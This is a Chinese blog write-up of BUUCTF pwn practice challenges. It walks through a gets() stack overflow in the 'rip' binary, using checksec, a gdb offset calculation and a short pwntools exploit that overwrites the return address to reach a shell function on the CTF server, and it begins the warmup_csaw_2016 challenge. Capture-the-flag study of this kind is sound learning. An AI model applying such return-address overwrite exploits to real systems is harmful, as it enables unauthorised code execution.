BUUCTF PWN WriteUp

test_your_nc

$ nc node3.buuoj.cn 29017
$ cat /flag

rip

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

gets從標準輸入設(shè)備讀字符串函數(shù),其可以無限讀取,不會判斷上限,以回車結(jié)束讀取。所以存在棧溢出漏洞。
可以看到有個func


解題基本上就是棧溢出讓RIP跳轉(zhuǎn)到func函數(shù)。

$ checksec pwn1


可以看到?jīng)]開任何保護。
gdb調(diào)試,計算出RIP的偏移:

> pattern create 200
> r
> pattern offset A(AADAA;
23 

IDA中可以看到函數(shù)開始的地方是0x401186


編寫exp

# -*- coding:utf-8 -*-

from pwn import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn',29476)
#io = process("./pwn1")
system=0x401186
payload = b'a' * 23 + p64(system)
io.sendline(payload)
io.interactive()

warmup_csaw_2016

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets(&v5);
}
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關(guān)閱讀更多精彩內(nèi)容

  • 新手練習 CGfsb 簡單的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv閱讀 3,344評論 0 6
  • 0. 引言 如果你學的第一門程序語言是C語言,那么下面這段程序很可能是你寫出來的第一個有完整的 “輸入---處理-...
    pandolia閱讀 14,409評論 13 27
  • 歇了很長一段時間,終于開始了我的攻防世界pwn之路。立一個flag:每日一題,只能多不能少。 0x00 dice_...
    Adam_0閱讀 7,344評論 2 7
  • 今天這一章太少了,舒服。 第四十六條主要是說工資標準是如何確定的,國家以按勞分配為原則,相同工作相同工資,且隨著經(jīng)...
    緩沖劑閱讀 225評論 0 0
  • 2018年馬上要結(jié)束了! 2016年那一年我給自己定的目標是:研究生順利畢業(yè);進去體制內(nèi)工作 2017年我給自己定...
    槿之黛閱讀 238評論 0 0

友情鏈接更多精彩內(nèi)容